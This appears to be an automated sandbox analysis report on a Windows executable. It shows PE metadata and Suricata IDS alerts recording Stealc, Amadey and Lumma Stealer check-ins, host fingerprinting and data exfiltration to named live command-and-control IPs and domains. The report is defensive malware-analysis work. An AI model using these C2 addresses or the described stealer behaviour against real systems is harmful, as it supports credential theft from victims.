File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958613860333182
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'125'312 bytes
MD5:	3bbaaf5b9f7ea350480f38f3477b2bdd
SHA1:	d35c156652c9cc1a42ff38763f591f9e4dad2b37
SHA256:	9eb63358423639336777b59bfe78f5bf586b73039ed161e9b398f8f29098ba15
SHA512:	77e60ef6d7042200c0ae1a28b7cb79d9c91324f6e9a783fcd58ad01ea84ab08f17c9651d13bef4a811479ab445ea9731bf7191889c4d02603d4939cd8e960635
SSDEEP:	49152:wypcf15efOHkBDIt08r9gHG72vvIUjTUHzxwZWiT:5Sf5EBa79gHc2HIUOzO0W
TLSH:	B9A533833D0610D5CAE83D37B6D7F550DAA02DE86DB2A1860C08B5FD797F9842F6AE14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb26000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F32DCBFDFBAh
cmovl esp, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	270b7548bcb8ee3819a68b7e70cb9303	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29f000	0x200	d03add093876cb9f95034077deac518a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uikmugxw	0x589000	0x19c000	0x19be00	a3c8a5e4e065ac186d0d76622a93d274	False	0.9949515127086495	data	7.954002724307145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mucpsfol	0x725000	0x1000	0x400	89a9f995578cf0e4af1a359e6c818167	False	0.783203125	data	6.181937827415033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x726000	0x3000	0x2200	50b6cc10de0dcdecd8796599b1776cae	False	0.06295955882352941	DOS executable (COM)	0.8092069073121816	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-08T15:20:39.274958+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:20:39.578072+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:20:39.584697+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-08T15:20:39.867668+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:20:39.875225+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-08T15:20:40.991083+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:20:41.576697+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:20:52.313577+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49723	TCP
2024-11-08T15:21:08.863869+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:14.292104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:17.898729+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:20.237286+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:25.873706+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:26.493678+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:30.955097+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49840	185.215.113.16	80	TCP
2024-11-08T15:21:31.345027+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49841	TCP
2024-11-08T15:21:45.409113+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49843	185.215.113.43	80	TCP
2024-11-08T15:21:48.789263+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49845	185.215.113.16	80	TCP
2024-11-08T15:21:57.070960+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.8	64278	1.1.1.1	53	UDP
2024-11-08T15:21:57.295001+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49844	TCP
2024-11-08T15:21:57.301396+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.8	52699	1.1.1.1	53	UDP
2024-11-08T15:21:57.327346+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.8	61334	1.1.1.1	53	UDP
2024-11-08T15:21:57.352523+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.8	61100	1.1.1.1	53	UDP
2024-11-08T15:21:57.377748+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.8	51640	1.1.1.1	53	UDP
2024-11-08T15:21:57.403737+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.8	51945	1.1.1.1	53	UDP
2024-11-08T15:21:57.429725+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.8	53966	1.1.1.1	53	UDP
2024-11-08T15:21:58.118523+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:58.118523+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:58.207984+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49848	185.215.113.43	80	TCP
2024-11-08T15:21:58.647545+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:58.647545+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:59.223023+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49850	185.215.113.16	80	TCP
2024-11-08T15:21:59.348528+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:21:59.348528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:00.041249+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:00.041249+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:01.000485+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:01.000485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:01.524283+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:02.695281+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-08T15:22:02.695281+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-08T15:22:04.758807+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-08T15:22:04.758807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-08T15:22:07.390464+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49858	188.114.96.3	443	TCP
2024-11-08T15:22:07.390464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49858	188.114.96.3	443	TCP
2024-11-08T15:22:07.510079+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49857	185.215.113.43	80	TCP
2024-11-08T15:22:08.046053+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49859	185.215.113.206	80	TCP
2024-11-08T15:22:09.694830+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.8	51764	1.1.1.1	53	UDP
2024-11-08T15:22:09.734150+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.8	59206	1.1.1.1	53	UDP
2024-11-08T15:22:09.759519+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.8	65248	1.1.1.1	53	UDP
2024-11-08T15:22:09.796581+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.8	52989	1.1.1.1	53	UDP
2024-11-08T15:22:09.820700+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.8	50300	1.1.1.1	53	UDP
2024-11-08T15:22:09.847049+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.8	51493	1.1.1.1	53	UDP
2024-11-08T15:22:10.146428+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:10.146428+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:10.150170+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:10.490730+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:10.490730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:11.021324+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:11.021324+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:11.506395+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49866	185.215.113.43	80	TCP
2024-11-08T15:22:11.751834+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:11.751834+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:12.243542+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:12.243542+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:12.449223+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49868	185.215.113.16	80	TCP
2024-11-08T15:22:13.275287+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49871	188.114.96.3	443	TCP
2024-11-08T15:22:13.275287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49871	188.114.96.3	443	TCP
2024-11-08T15:22:14.651374+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:14.651374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:14.799955+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49875	188.114.96.3	443	TCP
2024-11-08T15:22:14.799955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49875	188.114.96.3	443	TCP
2024-11-08T15:22:15.346484+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:17.207760+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49877	188.114.96.3	443	TCP
2024-11-08T15:22:17.207760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49877	188.114.96.3	443	TCP
2024-11-08T15:22:19.384608+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49878	185.215.113.206	80	TCP
2024-11-08T15:22:20.366521+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49879	188.114.96.3	443	TCP
2024-11-08T15:22:20.366521+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49879	188.114.96.3	443	TCP
2024-11-08T15:22:21.716454+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49880	185.215.113.43	80	TCP
2024-11-08T15:22:23.091752+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:23.091752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:23.104586+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:25.664812+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-08T15:22:25.664812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-08T15:22:25.841544+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49884	185.215.113.206	80	TCP
2024-11-08T15:22:26.584252+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.8	60964	1.1.1.1	53	UDP
2024-11-08T15:22:26.793439+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.8	57535	1.1.1.1	53	UDP
